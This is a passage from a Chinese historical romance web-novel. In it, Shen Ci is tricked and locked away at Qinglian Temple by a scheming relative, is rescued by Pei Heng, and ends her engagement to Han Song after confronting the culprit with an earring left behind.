“不成,有这样的亲戚在,实在是个麻烦。”楚映梦看向沈瓷,巴不得她立刻就拒了这门亲事。 但沈瓷这会儿一言不发,她需要时间来思考这些事,“表姐,你让我想一想。” “这还有什么好想的?这样的人家嫁过去就全完了!” “映梦。”楚修筠适时的打断楚映梦的话,让她冷静一些,“这事情也不是一朝一夕就能发现,议亲当然是看男方人品家世如何,又岂会连亲戚也一同打听的?” 楚修筠出声安抚楚映梦,这事情其实说大不大,说小也不小。 也就是韩家人口简单,没有什么往来的亲戚,舅舅一家是最亲的,才会显得问题很大。 若是换成季衍,舅舅家中有个表弟是赌徒,映梦因此要退亲,季衍岂不是冤的要去跳秦淮河。 “不可能!”季衍一听楚修筠拿他来类比,干脆利落的反驳道,“我表弟若是做出这样的事情,我舅舅能把他腿给打折让他沿街乞讨,绝不会管他。” 季衍说完之后,又无奈的揉了揉额头,“何况我舅父家教甚严,我表弟根本就不会做出这种事。” 一些事和家庭教育息息相关,周岩沉迷赌博许久,周进竟然一点也没有发现,足以证明他并不怎么关心周岩。 “我大哥他就是打个比方。”楚映梦出声安抚他,她不安慰还好,这一安慰,季衍整个人委屈的不得了。 “那也不成,万一你误会我了可怎么办?” 楚映梦哑然失笑,楚修筠亲自和未来妹夫解释,季衍才装模作样的哼哼两声,“可不能胡说八道。” “是,是。” 插科打诨了几句,几人就将这件事情揭过,说到底谁都不能强迫沈瓷去做什么决定。 但这件事就宛如一根刺,让人如鲠在喉。 沈瓷一直沉默着,不知在想些什么,在场几人都有些担心。 真真是一波未平一波又起。 第42章 第42章(改)韩嵩约她,见面?…… 忠毅伯府前院,楚修筠和楚景澄陪着季衍一块儿说话。 沈瓷自从知晓这些事之后便一言不发,楚映梦有些担心,见季衍他没有什么更要紧的事情要说,同哥哥和未婚夫寒暄了几句,便带着沈瓷离开,“我和阿瓷就先走了,你们自便。” “哎,哎…”季衍分明是想和楚映梦说说话的,但楚映梦这会儿的心思根本就不在他的身上,他心中无奈极了,看着身边的两个大舅哥发牢骚,“她就没有什么话要同我说的吗?” 楚修筠和楚景澄顺势拍了拍季衍的肩膀,“映梦这会儿可能顾不上你。” 季衍气哼哼的就要告辞,“既如此,我也先回了。” 楚修筠留季衍一块儿说话,季衍却反而问兄弟俩有没有时间一块儿出去走走。 “嗯?” “我不得再去盯着韩嵩?还没弄明白他和那孟四姑娘是怎么一回事,早早的弄明白下回映梦问起我也有话可以说。”季衍虽然抱怨着,可行动却没有任何含糊。 他在乎楚映梦,知晓她在乎表妹。 自然也想为她分忧。 沈瓷是和表姐一起离开的,但她其实有些忘记自己是怎么回到院中,各种各样的消息充斥在她的脑海里,让她颇有些头疼。 她弄不明白这些事,也并不清楚韩嵩心里是怎么想的,这会儿便沉默着。 楚映梦很是担心,想要劝说几句,又不知要怎么劝。 她本想让沈瓷自己静一静,可她这静一静,就静了许久,反倒是楚映梦耐不住性子,“阿瓷,你可还好?” 沈瓷知晓表姐一直都陪在自己的身边,她抬眸露出了一个温和的笑容,“我没事。” “还说没事,你一直都不说话。”楚映梦心中着急,但也不似之前那般生气,如今也冷静了许多,她坐在沈瓷身边,问她心中究竟是何打算。 “如今事情尚有疑虑,待弄明白在想后续也不迟。”沈瓷心中惊讶韩嵩的表弟是如此情况,她对这桩婚事 有些不知所措,但事情并不明确,贸贸然做下决定未免仓促。 “爹娘和祖母都不会强迫你,若韩嵩当真不是良人,这亲不结也罢。” 这些道理沈瓷都懂,外祖母和舅母也和她说过同样的话,但韩嵩到底是不是良人,沈瓷如今无法判断。 以至于这些事情统统都搁在心里,让人很是烦闷。 “我只是一时间不知要说什么,我想知道韩公子和那孟四姑娘到底是怎么一回事。”这件事让她有些在意。 “当初议亲时我和韩公子虽并无深厚感情,但倘若未来的夫君这般权衡利弊,存心算计,我自是不愿的。” 她和韩嵩不过见了一两回,要说有什么深厚感情,沈瓷自己都不信, “若这些事情和他无关呢?” “若这些事情和他无关,那他又是如何看待他舅母一家的?” 沈瓷绝非要韩和舅舅一家划清界限,那并非是什么普通亲戚,就连她自己如今也是寄居在舅父家中,何况韩嵩的舅父对他们一家都有恩,沈瓷并非要阻碍他报恩,但这嗜赌实在是太过于荒唐。 “季衍最近闲得慌,我催一催他,让他快些将事情弄明白。”楚映梦见沈瓷并无太伤心,便放了心。 半点都不觉得这事交给未婚夫有什么不对的。 沈瓷有些心神不宁,便提议陪姐姐一块儿绣嫁衣,楚映梦的心并不比她静多少,这嫁衣其实绣不成,但她为了安表妹的心,还是装模作样的摸出绣花针。 然而半个时辰都绣不了一根线,楚映梦决定不为难自己,“阿瓷,我们不如做些别的?” 沈瓷本想再坚持坚持,可看着手上繁复的花样顿时也没了耐心,毫不犹豫的将绣绷扔进了绣篮里,“表姐想去做什么?” “叫上思怡一起,我们出去走走。”楚映梦看着沈瓷建议道,在家中实在是憋得慌。 沈瓷原本不怎么爱往外跑,但这些事实在是太过压抑,待在府上她总会多思多想,倒不如出去走一走。 楚思怡今日收到了贺修文的来信,这会儿正在住处耐心的回信,她们曾经瞧见过一回,厚厚的一沓,也不知怎么有那么多话要说。 沈瓷和表姐过去的时候,楚思怡刚刚写完,她揉了揉酸痛的手腕,有些好奇的看着她们俩,“表姐,你和姐姐怎么过来了?” “我们要出门去逛逛,你可要一块儿?” 听说要出门逛逛,这样的好事楚思怡自然不会错过,她将信笺收好后,随意的把笔撂下就要走,因不是出门做客,倒也不必特意换了衣裳。 几人禀明裴氏之后,便大大方方的出了门,先是去了脂粉铺,又去了珍宝阁,最后东西也买够了,便提议到双月楼吃点心。 楚修筠三人得知消息后,心中很是羡慕,同样都是出门在外,为何她们几个这般舒坦? 双月楼糕点一绝,沈瓷喜欢这家铺子的糕点,只是每回要排很久的队,楚修筠和楚景澄知晓这事,从书院回府时经常会特意的带一些回家。 她们今日出门并不着急时辰,便想着要去尝一尝新出的水晶糕。 几人正要往双月楼去,正走在路上却瞧见韩嵩从对面赌坊走出来,不远不近的距离,竟直直的迎面撞上。 几人全部愣住了,沈瓷看着韩嵩,又看了看身后的赌坊,“韩公子…去了赌坊?” 韩嵩听见这话脸瞬间红了起来,连连开口解释,“沈姑娘,事情不是如此。” “那,这是…?” 此地热闹,来来往往都是人,韩嵩有心想要解释,但这里却不是一个可以解释的地方,他们几人站在此处已经很是惹人注目,若再停留一会儿只怕会惹出事端。 思及此韩嵩当机立断的告辞,说日后一定向沈瓷解释此事。 他不等等沈瓷的回应,便匆匆离去。 楚映梦和楚思怡睁大眼睛,只觉得不可思议,但这地方的确不能久留,三人匆匆的离开,因为这一件插曲,几人的好心情都有些被破坏,等水晶糕的心思都不大有。 至于韩嵩,心情也并不比沈瓷好多少。 七日之内还清三千两银子绝非一件容易的事情,韩家并无什么积蓄,母亲虽然想要帮助舅舅一家,但实在是有心无力,能拿出来的银两也是杯水车薪。 韩嵩便同舅舅商议一起去找赌坊老板谈一谈。 因为这事他才会出现在赌坊,如此鱼龙混杂的地方,韩嵩也是头一次来,但舅舅对他恩重如山,韩嵩不能见死不救。 只是他没想到会在这里碰上沈瓷,还是在这样的情况之下。 家中的这些事韩嵩根本不知道怎么解释,偏偏赌坊这一趟走的并不顺利,对方根本就不买账,也拒绝和他们好好的商议。 上头白字黑子写的清楚明白,就算他们报官也没有多大的胜算。 这条路走不通,便只能另外想法子。 但韩嵩没有想到,舅母根本就已经等不及。 * 沈瓷白日在赌坊门外撞见韩嵩,当天夜里楚修筠回到家就告知表妹是何原因,其实大表哥便是不说,沈瓷大致也能猜到。 只是韩嵩说要亲自向她解释,却一连几日都没有音信约她相见,好好的解释一番这些事。 也不知他是没有想好,还是一些推脱之词。 沈瓷不愿太在乎,可有些事情既已发生,她便没法不在乎。 就在这时韩家夫人送来了请柬,邀她一块儿去青莲寺烧香,请柬是送到她手中的,上头只邀请她一个人,请柬既已经送到裴氏就一定清楚。 沈瓷便去问舅母的意思。 “想来是韩公子有话要同你说,找不到什么机会才会请母亲出面,虽说只邀请了你一人,可若映梦和思怡要跟着你一块儿去,也没人能拦着。”裴氏自然不放心沈瓷一个人出门,三言两语就将后续安排明白。 还说若是担心,可以让修筠景澄也一起去。 “大表哥和二表哥的学业更要紧,青莲寺我和表姐思怡都熟悉的。” 沈瓷只当真如舅母所言,是韩嵩借着母亲的名义约她相见,她照着约定的时间前来青莲寺时,韩夫人的丫鬟已经在前院等候,说自家夫人在后院厢房,楚映梦和楚思怡没跟着一块去,同沈瓷约好半个时辰之后去寻她。 沈瓷跟着丫鬟去了厢房,结果没瞧见韩嵩,也没看见韩夫人。 “韩夫人呢…?” “沈姑娘,你就好好的待在这里吧。”丫鬟将沈瓷往里一推,转身就将门落了锁,沈瓷并不知道青莲寺的后院重新修缮过,丫鬟引她来的地方是青莲寺从前的后院,距离前院路途遥远。 此地人迹罕至,甚少有人过来。 “放我出去,你们想做什么?到底是谁派你来的?!” 只是那引路的丫鬟早已经走远,只留下沈瓷一人叫天天不应,叫地地不灵的。 而另一边,韩夫人和韩嵩久久不曾见到沈瓷,心中也甚是疑惑,“你方才不是去接沈姑娘了吗?人呢?” “夫人,奴婢一直在外头等候,可却没有见着沈姑娘,她是不是没来?” “这…”韩夫人也说不太好,看向一旁的韩嵩,“人家没来。” “可沈姑娘已经应允,不会无故失约。” “那你可有瞧见忠毅伯府的其他女眷?”韩嵩知晓沈瓷还有个表姐和表妹,先前相看的时候她们俩也在,今日楚二夫人没来,楚家的两位姑娘应当会来。 丫鬟摇头,“奴婢什么人都没有瞧见人…” 韩夫人和韩嵩只当沈瓷真的没有出现,心中虽有些失望,可韩嵩一直在安慰母亲,她也许是家中有什么急事。 韩夫人见韩嵩这般为沈瓷找借口,也并无多言,随 意的点了点头,母子便离开了青莲寺。 * 这边,裴珩刚从翰林院离开,还未坐上马车,长鸣就急匆匆的赶了过来,“世子,属下有要事禀告。” “上车。”裴珩冷声吩咐,长鸣径直跳上马车,那原本驾车的小厮自觉的下了车跟在后头。 “今日韩夫人约沈姑娘在青莲寺相见。” “这件事情我已知晓。” 沈瓷在赌坊门外撞见韩嵩,这件事韩家总要给沈瓷一个解释,韩夫人约她相见,大抵就是因为此事。 “属下方才得知,刘氏今早偷偷的出了门,行踪鬼祟,属下打探到消息刘氏也去了青莲寺。” “刘氏?”裴珩听见这话皱起了眉头,好端端的刘氏为何要去青莲寺? “转道,去青莲寺。”裴珩当机立断,长鸣半点不敢耽误立刻就调转马车朝青莲寺过去。 裴珩到的时候,楚映梦和楚思怡已经急得团团转,她们和沈瓷约好半个时辰之后去寻她,这会儿时间已经过去,她们却找不到沈瓷在什么地方,而且不仅仅是沈瓷,就连韩夫人也找不见。 “姐姐,怎么办啊?表姐去了哪里?” “别着急,别慌。”楚映梦的手一直在抖,但她知道这件事情不能嚷嚷,青莲寺还有不少的香客,绝对不能走漏风声。 她不仅自己要稳住,还要安慰着妹妹,“也许是韩夫人带着阿瓷去了别处,我们找岔了。”楚映梦的声音都开始隐隐颤抖起来,二人找了一圈又一圈,就在要绝望的时候楚映梦看见了裴珩的身影。 楚映梦此时也顾不得表哥为什么会在这里,瞧见人之后就直接迎了上去,“表哥。” “表哥,阿瓷不见了。” “出了什么事,慢慢说。” “韩夫人的丫鬟带阿瓷去了后院,我们和阿瓷约好时辰见面,可时间到了我们找不着人,也没见到韩夫人。” 楚映梦不知沈瓷在何处,也不知究竟发生何事,整个人慌得不得了,她看着裴珩将所有希望寄托在他的身上,“表哥,怎么办?” “什么时候的事情。” “一个时辰之前。”楚映梦不敢声张,只敢偷偷的找人回家报信,如今看到裴珩就像是见到救命稻草一般。 “先别慌,你们俩再沿着寺院仔细的找一找。” “我去找主持一趟,让他封锁青莲寺院门。”他看着姐妹俩冷静的交代,“记住,若有人见着你们问起缘由,只当不知。” “好。” 楚映梦和楚思怡急匆匆的走了。 裴珩又让长鸣去永宁侯府找人过来帮忙,等安排完这两件事之后,也没耽误径直去找了寺院的主持。 他虽不知刘氏今日偷偷跟来是做什么,但绝对不是什么好事。 沈瓷不见了这事八成同她有关。 第43章 第43章(改)他什么都不会说,因为…… 裴珩来的很及时,不出一刻钟,就已经将事态稳住,青莲寺的院门缓缓的关上,寺庙对香客的解释是寺中出了窃贼,盗窃了寺院宝物。 不多时长鸣带着永宁侯府的侍卫赶到,漫山遍野的开始寻人。 青莲寺虽已经戒严,但刘氏早就已经离开,甚至还去韩府同弟妹说了不少的话,打探了一些消息。 得知周氏压根没见着沈瓷,刘氏心中满意极了,“我早说了那姑娘眼高于顶,不是什么好相与的,还是趁早退了这门亲的好。” 周氏心中有气,这一回嫂子说起的时候,她罕见的没有出声。 这件事根本瞒不住,楚映梦往家里送了消息,裴氏本想着亲自过来,却被楚修筠给劝住,“婶娘,我和景澄去就好,您这会过去若被有心人瞧见,恐横生枝节。” “那你们多带些人去,小心一些,尽快把阿瓷找回来。” 楚修筠和楚景澄匆匆往青莲寺去,青莲寺已经戒严,两人废了一番功夫才进去,几人一汇合,姐妹俩的眼泪就止不住,“哥哥,阿瓷,阿瓷她…” “先别忙着哭,我们先去找人要紧。” 楚修筠兄弟二人忙着找人,裴珩也不见得多么轻松,他也沿着青莲寺在找寻沈瓷下落,裴珩虽然知道刘氏来了青莲寺,心中对她也是诸多怀疑。 可捉贼拿赃,如今刘氏根本不在,他也不能贸贸然的将人抓来言行拷问。 此时被动极了。 青莲寺坐落山间,寺庙极大,占地极广,将寺庙整个儿搜罗一圈就要耗费不少时间,若是遇上了什么贼人… 外头天色已经渐渐暗了下来,裴珩不敢细想,只能加快速度找寻。 他依稀记得青莲寺从前修缮过,裴珩心中似有所感,朝着先前的院落找去,那院落距离如今的后院还有一些距离。 早已经不对香客开放。 地上没有什么新鲜痕迹,一直都不曾有人来过,就在裴珩误以为自己找错地方的时候,听见了极其细微的呼救声。 裴珩快步的走了过去,晃了晃那门锁,“沈姑娘?” “裴…世子?” “是我。” 沈瓷还想问什么,裴珩确定沈瓷在里头之后,便让她让开,将那门锁直接踹开。 外头天色渐暗,屋子里更是黑咕隆咚的,裴珩摸出怀里的火折子,将桌面上的烛台点亮,借着微弱的火光,他才看清沈瓷的模样。 姑娘脸上满是泪痕,形容狼狈,瞧着可怜极了。 “裴世子…你,我,你怎么在这里?”沈瓷有些语无伦次,有太多的话想问,想问她在何处,想问裴珩为什么在这里,心中满是惶恐。 “我来青莲寺处理一些公务,路上碰到了映梦和思怡。”裴珩解释了几句,沈瓷知晓自己不见了表姐和思怡一定很着急。 “她们现在在什么地方?” “今日发生了何事?是什么人把你关起来的?” 二人一同开口,沈瓷解释说今日是来见韩夫人的,她的丫鬟将自己带来此处,那丫鬟还未等她反应过来,就将她给锁了起来。 “韩夫人的丫鬟?” “是,我曾经见过。”沈瓷冷静回答,若非如此她怎么会和旁人走? 裴珩找出手帕递过去给沈瓷,沈瓷这才想起方才自己哭的凄凄惨惨,想来自己如今一定狼狈极了,她没有推脱,接过手帕胡乱的擦了起来,只是这里没有铜镜,她又看不见,越擦越糟糕,裴珩也没有提醒她,只是淡淡的别开了眼。 裴珩没问沈瓷她之后是什么打算,只是告诉沈瓷这件事也许不是韩夫人所为。 “什么?” 他将捡到的东西交给沈瓷,是一个耳坠子,金灿灿的,一瞧就是女子之物,那丫鬟定然不会有这样的东西。 只要查出这东西的主人是谁,大抵就知晓是谁要害她。 的确如此,若真是韩夫人所为,她又怎会用自己的丫鬟? 她若真的不愿和自己结亲,直接拒绝就好,为什么要多此一举? “映梦和思怡还在外头寻你,此地不宜久留,你跟我出去。”裴珩的话不多,沈瓷也没有多说话,跟在他身后,随着他去了一处偏僻的佛堂。 原本不用那么麻烦,但那锁已经被裴珩破坏,解释起来委实麻烦,裴珩不愿牵扯太多,姑姑和母亲的关系非比寻常,映梦和思怡向他求助还说的过去,他帮忙也说的过去,但这么上心还能准确的找到人就有些说不过去。 为避免母亲发现什么,裴珩只能小心谨慎。 “一会儿会有人来寻你,你在这里等她们。”裴珩语气冷静的同沈瓷商议后续事宜,“记住,你没有见过我,是映梦和思怡找到你的,你在寺院里迷了路。” 沈瓷认真的点头,佛堂处有些黑,裴珩将手中的火折子塞给她,从外头将门给闩上。 虽未说什么,但沈瓷却明白了他的意思。 佛堂里只有微弱灯光,在高处的住台上,虽然桌面上也有烛台,沈瓷手上也有火折子,可这火折子是裴珩的,不是她的。 不能点… 待裴珩走后,沈瓷又吹亮了火折子,这点点火光给她带来 不少的安慰,她整个人都有些茫然,却已经开始强迫自己思考起来。 她今日是来见韩夫人的,结果人没有见着,反而被人给关了起来,到底是什么人? 能接触到韩夫人的丫鬟,还能知晓她的行踪的女眷… 会是谁? 沈瓷没有等多久,外头就传来楚映梦的声音,“阿瓷,阿瓷你在不在里面?” “表姐。”沈瓷的声音有些轻,但楚映梦听得很清楚,她听到声音之后也不顾里头是什么情况,直接打开门闯了进去。 沈瓷抱着膝坐在蒲团之上,缓缓的抬眸,莹白的小脸上满是泪痕,瞧见人之后那紧绷的心神总算是放松了下来,声音不知不觉的带了些哽咽,“表姐。” 楚映梦终于找到了她,激动的扑了过去将她搂在怀里,声音中满是劫后余生的安慰,“阿瓷,你没事吧。” “我没事。”沈瓷的嗓子有些哑,楚映梦显然也发现了,忙问她可还好。 “有人把我骗过来关了起来。” “什么?”楚映梦惊讶不已,但也没有多问,只是搂着沈瓷哄她,“我们先回家,回家再说。” 姐妹俩说话间楚思怡急匆匆的跑了过来,她的手上还抱着一件斗篷,面对两人疑惑的眼神,她小声道,“是大哥让我带来的,他说晚上冷。” 楚映梦接过思怡手中的斗篷,将沈瓷整个儿裹了起来,“我们先回家。” 楚思怡默默的点头,走过来挽着沈瓷的手,三人搀扶着一块儿离去。 她们没往青莲寺的大门走,山下已经有马车在等候,下山的路上也没人显然已经被提前打点过。 * 裴珩得知忠毅伯府的马车已经离开,便没再过问,青莲寺内还有不少事等着他去善后。 事情已经解决,可这“盗窃”一事还未了结。 他让长鸣调来了永宁侯府的侍卫,动静太大,总要有个理由应付,还有一群弟弟妹妹需要瞒着,他得让他们相信,自己真的是因为公干,才会来的青莲寺。 裴珩亲自去寻了寺院主持一趟,解释了玉佩的事情,真真假假,主持自然不会去求证,青莲寺得罪不起永宁侯府,只能配合着。 沈瓷回到府上之后,才有机会和表姐她们解释这件事,这样的大事自然瞒不住裴氏,得知沈瓷被人关了起来众人都是一脸的愤怒。 “他们韩家搞什么?” 自然韩家的丫鬟只是表面,韩夫人倒也不至于那么蠢,派个自己的丫鬟来动手,但这是他们唯一的线索,即便知道牵强,裴氏还是要去找人对峙。 沈瓷的荷包里还留着物证,她心中有所猜测,却没有在舅母面前明说,她没法解释自己单独见了裴珩的事情,何况裴世子似乎也不想让别人知道。 而裴珩已经确定今日的事是刘氏所为,他将线索全部透露给楚修筠,有裴珩暗中相助,忠毅伯府很就查到了刘氏的头上。 因裴珩在青莲寺大张旗鼓的排查行为,倒让楚修筠得了个现成的借口,他央求裴珩帮忙将人给抓了起来,裴珩欣然应允。 兄弟二人各怀心思,结果倒是圆满。 裴珩本不屑做这样的事,他信沈瓷能想明白事情原委,知晓是谁害她,只是刘氏又蠢又坏,这一回只是命人将沈瓷关了起来,下一回可不知会做些什么。 倒不如早些解决。 楚修筠求助了表哥,所以他隐匿在暗处,出面的人也是裴珩。 他将人送去京兆府,周家因为这件突然的事情,急急忙忙的找上韩嵩,韩嵩尚不知发生了何事,他才从书院离开,便听闻了这事。 “是谁将舅母带走的?” “来了好多的官兵,非说你舅母昨日去了青莲寺,要带她回去问话。” 韩嵩急急忙忙的去了京兆府,又去了青莲寺,多番打听下才知昨日在他们走后不就,青莲寺就因为丢了至宝而全院戒严。 昨日去青莲寺的人全部都被排查了一遍。 可只有他舅母一人被带走。 韩嵩着急不已,就要去京兆府,再赶去的路上遇见一个眼熟的小厮,说他们公子要见他。韩嵩认出来人像是在书院里见过,便怀着忐忑的心情跟着走了。 到了地方才发现,要见他的人是裴珩。 韩嵩对裴珩倒是有些熟悉,二人曾经在同一家书院念书,也算半个同窗,只是彼此并无什么交集,甚至都不在一个课室,昔日在书院还能厚着脸皮称呼一句同窗,如今他还不过一个秀才,裴珩却已是名满金陵的新科状元。 他们之间从来就是天壤之别。 “裴世子。”韩嵩打了招呼。 裴珩随意的点了头。 “不知裴世子今日要见在下,所为何事?”韩嵩恭敬问道,裴珩也没有和他迂回。 “刘氏因盗窃,被关押在京兆府衙门。” “什么?我舅母她…?” 韩嵩想问一问舅母盗窃了什么,但裴珩没有什么耐心,强硬的要求他去忠毅伯府退亲,不然他的舅母就别想出来了。 韩嵩自是不甘心的,裴珩明明白白的以权压人,压得韩嵩那一点自尊无所遁形。 “裴世子,您虽然身份尊贵,可也不能左右旁人思想,我和沈姑娘情投意合,您又有什么资格强迫我退亲?”韩嵩说的义正言辞。 裴珩在心中轻嗤一声。 情投意合? 真是可笑。 “如此逞口舌之利,倒不如自己去京兆府问问,你那个好舅母做了些什么。”裴珩语气冷漠,韩嵩心中忐忑。 他心中空的厉害,虽不知舅母到底做了什么,可此时此刻是万万不能认得。 他礼数周全的同裴珩告辞,一出酒楼便急匆匆的离去。 长鸣看着韩嵩离开的方向若有所思,“世子,他这是去见刘氏?若刘氏和盘托出,他去找沈姑娘解释,沈姑娘心软原谅了他怎么办?” 裴珩没说话,他可不觉得沈瓷有这么心软。 即便她心软,姑姑和姑父也不会放任不管。 “再万一,这韩嵩将您供出来…” “他不会。”裴珩笃定道,这些时日韩嵩屡屡受挫,他绝不会将今日之事告诉沈瓷,他的自尊心不允许。 “何况,这些事和我有什么关系?我不过受人之托忠人之事。”裴珩随意解释,这些事和他有什么关系? 他只是恰好去青莲寺公干。 又遇上了表妹。 此番是受了表弟托付,出面应付一些麻烦而已。 第44章 第44章哪怕不嫁,也不能所嫁非人。…… 刘氏进了京兆府衙门的消息,是楚修筠带给沈瓷的,那日的事情已经查明是刘氏所为,但人却是因为盗窃的罪名抓进去的。 他们其实知晓这不过是一个借口,青莲寺没有丢东西,而真正的原因,根本就不能言明,其中牵扯的事情实在是太多,各方面权衡才会变成如此。 “至多也只能关她两日。”楚修筠气恼不已,只恨不能多关她几日。 “不能多关几日吗?三日也成。” 楚景澄此语一出,楚思怡立刻点头附和,两人眼巴巴的看着楚修筠,就等着哥哥说可以多关一日。 楚修筠揉了揉自己的额头无奈道,“你们俩当是菜市场买菜?还能讨价还价不成?” 兄妹俩闻言失望不已。 出了这样的事,他们其实更想知道这婚约会如何,但沈瓷在青莲寺受了不少的罪,被关了几个时辰,又累又饿,嗓子也喊哑了,这两日一直在府上修养。 今日才稍稍的好了一些。 他们也都不敢追问。 裴氏特意请了大夫给沈瓷开安神茶,安神茶的味道不太好喝,沈瓷不愿意喝,他们几人就陪着她一块儿喝。 润喉的梨汤也是一样。 几人正头疼的喝汤,门房传来消息,说是韩嵩求见。 “我们还没去找他,他怎么过来了?”楚景澄因为刘氏的事情迁怒着韩嵩,这会儿听见韩嵩求见,只觉得无比厌烦。 “没空,不见,打发走。” 丫鬟虽然听见了楚景澄的话,但不敢擅自做主,看向了沈瓷。 沈瓷想了想还是决定要见韩嵩一面,毕竟有一些事儿还没能解决,“请韩公子去堂屋。” “是。”丫鬟长长舒了一口气,躬身往后退了几步,转身离开了。 楚景 澄瞧见这一幕顿时气呼呼的,“怎么?现在我说的话都已经不管用了吗?” “这丫鬟是哪个?方才没听见我说话吗?” 楚景澄兀自发脾气,可无论楚二公子怎么气恼,都没人理会。 “去见一见也好,有些事总是要解决的。”楚修筠话虽如此,但并未松懈,只觉得韩嵩来的不是时候,堂屋也不知有没有屏风,若隔得远万一顾及不到怎么办? 沈瓷去换了衣裳出来,楚映梦和楚思怡一左一右的挽着她的手,心中多少有些担忧。 “表姐,要不别去见了?” 沈瓷哑然失笑,“这是在自己家里,不要紧的。” “思怡说的没错,要不别见了,横竖事情也已经清楚,将人打发走就好,至于那婚约不要也罢。” 楚映梦提及了婚约,而沈瓷这一回正是要去处理这件事的,“总要将这些事情说清楚的,若不然,旁人还当是我的错。” 话虽如此,但姐妹俩还是不情不愿的。 沈瓷到的时候,韩嵩已经在堂屋等候,她们俩就在不远处看着,这位置极好既能瞧见堂屋的情况,也不会被人发现青莲寺发生的事情着实令人心惊,这会儿只有亲自看着才能够放心。 结果她们俩刚刚蹲下,边上又凑过来两个脑袋。 韩嵩的左手边奉着一盏茶,但他却没有动,直到沈瓷过来他才站起身,“沈姑娘。” “韩公子请坐。” 他二人其实并不熟悉,不过也只见过几回,沈瓷其实连韩嵩长什么模样都记得不太清楚,此番二人单独相处,气氛多少有一些尴尬。 “不知韩公子今日过来是有什么事?”沈瓷率先打破了沉默,韩嵩听见这话又想起了还凄惨的在大牢里的舅母。 舅母不知犯了什么错被抓进了大牢,他见到人的时候,舅母在牢里瑟瑟发抖。 形容狼狈,瞧着好生可怜。 韩嵩听了裴珩的话之后便去问了舅母,刘氏自然不承认自己偷东西,她求韩嵩救她出去,“嵩儿,嵩儿,你救救舅母,他们非说我偷了东西,你相信舅母,我好端端的为什么要去青莲寺偷东西?” “舅母,您昨日究竟去青莲寺做了什么?” 刘氏昨日去青莲寺也只做了一件事,那件事同样不能承认,她昨日做的隐蔽,根本就没有人看到,刘氏虽然害怕大牢,但这嘴也是真的硬,便是证据摆到面前她都不一定会承认,何况韩嵩来问? “我昨日都在家中,哪里去过青莲寺?你母亲回到家中的时候,我还去见过你母亲,你若不信可以去问。” 刘氏三言两语就把韩嵩给忽悠过去。 韩嵩原本就不信裴珩说的话,见舅母这般说,又想起了昨日的事情,种种事情压在心里,也开始怀疑是沈瓷反悔要退亲故意为之,心中堵着一口气,直接来了忠毅伯府。 “沈姑娘若是不愿和我定亲直说便是,不必如此。” “什么?”沈瓷没有倒韩嵩不是过来和自己解释的,反而是来说这些的。 听见这些荒唐的话,沈瓷差点儿要被气笑了,“我本以为韩公子今日过来是和我解释前些日子的事,没曾想原是来质问我的。” “我原本是要和沈姑娘解释的,可沈姑娘昨日并未去青莲寺,既不愿和我相见,又为何应允?” “昨日我按照约定去了青莲寺,却没有见到你和令堂,我被令堂的丫鬟关在了小佛堂里,如今已经查明做这些事的人是你的舅母刘氏。”沈瓷见韩嵩这般也不愿和他多说废话,直接将真相和盘托出。 “韩公子既然说到青莲寺,那我也正好问一问,昨日令堂的丫鬟为何要陷害于我?” “你说什么?”韩嵩睁大了眼睛,“我母亲的丫鬟陷害你?” “我们昨日根本就没有见着你,何况我母亲的丫鬟一直都跟着她,如何会陷害你?”韩嵩压根就不听这些话,“你还说是我舅母指使的?我舅母昨日在家中根本没有出门,沈姑娘,你为何要冤枉她?” “我舅母如今在京兆府衙的大牢里。” “那你可知你舅母昨日做了什么?” “我舅母昨日在家中没有出门,她如何能做什么?”韩嵩显然不清楚这些事,他对刘氏深信不疑,没有丝毫的怀疑。 韩嵩尚在气头上,沈瓷已经听明白了,她被人陷害,而韩家母子俩,根本就没有见着她,既然说的话有所出入,难道不应该弄清楚什么地方有误会吗? 为何他这般笃定他们家的丫鬟和他的舅母什么都没有做? 并且还笃定是她冤枉? 他们不是要定亲了吗?难道连最基本的信任都没有?即便没有信任,他难道连最基本的判断都没有了吗? 沈瓷不愿和韩嵩进行无意义的对峙,也不愿多做纠缠。 “若是韩公子不信,我们可以去京兆府衙门当场对峙。”沈瓷冷冷说道。 “那便去。” 二人僵持不下,要去京兆府衙门对峙,楚家的几个小辈躲在暗处,眼看沈瓷越来越激动,这会儿也躲不住,楚景澄可不管这些,直接走了出来,“我让人去准备马车。” 沈瓷有底气,韩嵩也不予多让。 马车准备好后,沈瓷就要出门,楚修筠自然不会让沈瓷单独和韩嵩离开,如今韩家的几个他们一个都信不过。 不仅派了很多人保护,楚修筠更是亲自陪她去,若非担心太惹人注目,楚景澄也是要一块去的。 到了京兆府大牢的时候,刘氏果然死不承认,甚至说自己根本不认识沈瓷,也没去过青莲寺。 眼看事情就要陷入僵持,沈瓷直接从荷包里找出了刘氏的耳环,扔到了韩嵩的手中,“若她说的是实话,这是哪里来的?” 那耳环是寻常的款式,但因为是金子做的,韩嵩时常见到舅母佩戴,今日她的耳坠上却没有,刘氏就站在一边,瞧见这耳环下意识的摸上了自己的耳朵。 这下子还有什么是不明白的? 韩嵩惊讶的看向刘氏,“舅母?” “嵩儿,嵩儿,那一定是他们陷害我的,肯定是他们的诡计。”刘氏依旧攀扯,沈瓷却不想再听什么。 “韩公子,我们的亲事便作罢吧。” 沈瓷实在不知这样的人家要如何结亲。 韩嵩整个人傻在了当场,楚修筠更是在这个时候将刘氏和孟家来往的一些证据拿给了韩嵩,“韩公子不如好好的看看,你的好舅母,都背着你做了些什么。” 韩嵩愣愣的看向手中的证据,一张一张的翻看起来。 这些日子他一直在奔波,因为表弟的事情,他一直都寝食难安,母亲也想要帮忙,可他们家的情况他也清楚,根本就是杯水车薪。 即便如此他们母子两人还是尽了自己最大的努力,能求得不能求得亲戚全部都求了个遍,只因为韩嵩记得舅舅一家的恩情。 韩嵩没有想到他一直信赖的舅母竟然在他不知道的时候做了那么多的事情。 等到将这些证据全部看完,韩嵩双眸已是猩红。 而这些事情都和沈瓷没有任何的关系,她既已说了婚事作罢,自然不会留下韩府的纳采礼,楚家的几个小辈本就不怎么看好这婚事,如今见沈瓷要退亲,当然各个答应。 裴氏也是一样的态度,原本还担心沈瓷犯糊涂,这会儿总算是松了一口气。 楚二公子甚至都来不及等明日,迫不及待的让人带上纳采礼给韩家送回去。 被问 起的时候楚二公子还振振有词,“退亲又不是成亲,难不成还要挑日子吗?” 众人一听也觉得很有道理,便随他去了。 * 虽然还没有交换庚帖,但纳采礼已经送到府上过,严格算起也算是定了亲,这门亲事并不如意,退了才是好事,但这已经是沈瓷第二次退亲。 众人生怕她伤心,都想方设法的要安慰她。 